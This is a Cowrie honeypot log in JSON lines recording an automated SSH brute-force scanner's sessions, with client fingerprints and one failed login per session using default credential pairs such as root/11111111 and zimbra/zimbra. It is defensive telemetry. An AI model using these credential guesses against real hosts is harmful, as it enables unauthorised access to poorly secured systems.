{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:08.254924Z","src_ip":"45.156.87.253","session":"32182e966d88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:09.405341Z","src_ip":"45.156.87.253","session":"32182e966d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58928,"dst_ip":"10.17.0.5","dst_port":22,"session":"34e3a510b970","protocol":"ssh","message":"New connection: 45.156.87.253:58928 (10.17.0.5:22) [session: 34e3a510b970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:10.902100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:10.905802Z","src_ip":"45.156.87.253","session":"34e3a510b970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:10.986297Z","src_ip":"45.156.87.253","session":"34e3a510b970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:11.229156Z","src_ip":"45.156.87.253","session":"34e3a510b970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.734041929244995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:12.087885Z","src_ip":"72.167.226.244","session":"5715da5c11c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:12.313354Z","src_ip":"45.156.87.253","session":"34e3a510b970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.132980585098267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:13.630820Z","src_ip":"72.167.226.244","session":"8d54aac69459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58942,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d732bff5d9b","protocol":"ssh","message":"New connection: 45.156.87.253:58942 (10.17.0.5:22) [session: 6d732bff5d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:13.894847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:13.898869Z","src_ip":"45.156.87.253","session":"6d732bff5d9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:13.981539Z","src_ip":"45.156.87.253","session":"6d732bff5d9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:14.248556Z","src_ip":"45.156.87.253","session":"6d732bff5d9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:15.331860Z","src_ip":"45.156.87.253","session":"6d732bff5d9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58950,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d38f4b9969c","protocol":"ssh","message":"New connection: 45.156.87.253:58950 (10.17.0.5:22) [session: 3d38f4b9969c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:16.907074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:16.910454Z","src_ip":"45.156.87.253","session":"3d38f4b9969c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:16.990547Z","src_ip":"45.156.87.253","session":"3d38f4b9969c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:17.232936Z","src_ip":"45.156.87.253","session":"3d38f4b9969c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:18.315483Z","src_ip":"45.156.87.253","session":"3d38f4b9969c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56922,"dst_ip":"10.17.0.5","dst_port":22,"session":"0151cb866638","protocol":"ssh","message":"New connection: 45.156.87.253:56922 (10.17.0.5:22) [session: 0151cb866638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:19.953367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:19.958921Z","src_ip":"45.156.87.253","session":"0151cb866638","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:20.041025Z","src_ip":"45.156.87.253","session":"0151cb866638","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:20.289449Z","src_ip":"45.156.87.253","session":"0151cb866638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:21.377100Z","src_ip":"45.156.87.253","session":"0151cb866638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56956,"dst_ip":"10.17.0.5","dst_port":22,"session":"223ecf7f1404","protocol":"ssh","message":"New connection: 45.156.87.253:56956 (10.17.0.5:22) [session: 223ecf7f1404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:22.959822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:22.962588Z","src_ip":"45.156.87.253","session":"223ecf7f1404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:23.042175Z","src_ip":"45.156.87.253","session":"223ecf7f1404","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:23.283566Z","src_ip":"45.156.87.253","session":"223ecf7f1404","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:24.366621Z","src_ip":"45.156.87.253","session":"223ecf7f1404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56984,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f8d78c6f20d","protocol":"ssh","message":"New connection: 45.156.87.253:56984 (10.17.0.5:22) [session: 5f8d78c6f20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:25.976701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:25.981605Z","src_ip":"45.156.87.253","session":"5f8d78c6f20d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:26.061599Z","src_ip":"45.156.87.253","session":"5f8d78c6f20d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:26.305332Z","src_ip":"45.156.87.253","session":"5f8d78c6f20d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:27.389098Z","src_ip":"45.156.87.253","session":"5f8d78c6f20d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57004,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca6c4098fbd1","protocol":"ssh","message":"New connection: 45.156.87.253:57004 (10.17.0.5:22) [session: ca6c4098fbd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:29.043813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:29.046470Z","src_ip":"45.156.87.253","session":"ca6c4098fbd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:29.126989Z","src_ip":"45.156.87.253","session":"ca6c4098fbd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:29.370729Z","src_ip":"45.156.87.253","session":"ca6c4098fbd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:30.454028Z","src_ip":"45.156.87.253","session":"ca6c4098fbd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40618,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e85ebda35a6","protocol":"ssh","message":"New connection: 45.156.87.253:40618 (10.17.0.5:22) [session: 9e85ebda35a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:32.098169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:32.102117Z","src_ip":"45.156.87.253","session":"9e85ebda35a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:32.182461Z","src_ip":"45.156.87.253","session":"9e85ebda35a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:32.425457Z","src_ip":"45.156.87.253","session":"9e85ebda35a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:33.508861Z","src_ip":"45.156.87.253","session":"9e85ebda35a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40622,"dst_ip":"10.17.0.5","dst_port":22,"session":"6853248d7f8f","protocol":"ssh","message":"New connection: 45.156.87.253:40622 (10.17.0.5:22) [session: 6853248d7f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:03:35.117851Z"}
